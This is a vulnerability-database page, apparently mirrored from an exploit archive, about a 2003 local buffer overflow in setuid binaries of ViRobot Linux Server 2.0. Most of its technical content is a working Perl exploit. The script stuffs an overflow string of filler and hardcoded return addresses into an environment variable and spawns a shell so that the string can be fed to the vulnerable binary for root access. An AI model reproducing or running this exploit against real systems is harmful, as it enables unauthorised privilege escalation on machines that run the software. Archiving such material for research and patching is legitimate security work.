ViRobot Linux Server 2.0 – Local Overflow

ViRobot Linux Server 2.0 – Local Overflow

漏洞ID 1054108 漏洞类型
发布时间 2003-08-20 更新时间 2003-08-20
图片[1]-ViRobot Linux Server 2.0 – Local Overflow-安全小百科CVE编号 N/A
图片[2]-ViRobot Linux Server 2.0 – Local Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23045
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#source: http://www.securityfocus.com/bid/8462/info
#
#Various potential security vulnerabilities have been reported for ViRobot Linux Server. Problems are said to occur within various setuid binaries installed by the program. Reports indicate that some of these binaries may be prone to buffer overruns, potentially making them exploitable to execute arbitrary code with elevated privileges. 

#!/usr/bin/perl -w
# virobot freebsd edition, might need tweaking but works on my 4.8-RELEASE.
# advisory written by KF at:
# http://lists.netsys.com/pipermail/full-disclosure/2003-August/008672.html
# this is an ugly hack, I am tired and heading for bed.
# kokanin@dtors
# $ perl ./DSR-virobot.pl
# $ /path/to/virobot -d $STR
# # echo look mommy no shellcode 

$fill = "A" x 256;
$dummy = pack("l",0x41424344);
$system = pack("l",0x08048e08);
$pointer = pack("l",0x2819d780);
local($ENV{'STR'}) = $fill . $dummy . $system x 2 . $dummy . $pointer;
system("sh");

相关推荐: Mirror File Creation Vulnerability

Mirror File Creation Vulnerability 漏洞ID 1104553 漏洞类型 Input Validation Error 发布时间 1999-09-28 更新时间 1999-09-28 CVE编号 N/A CNNVD-ID N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享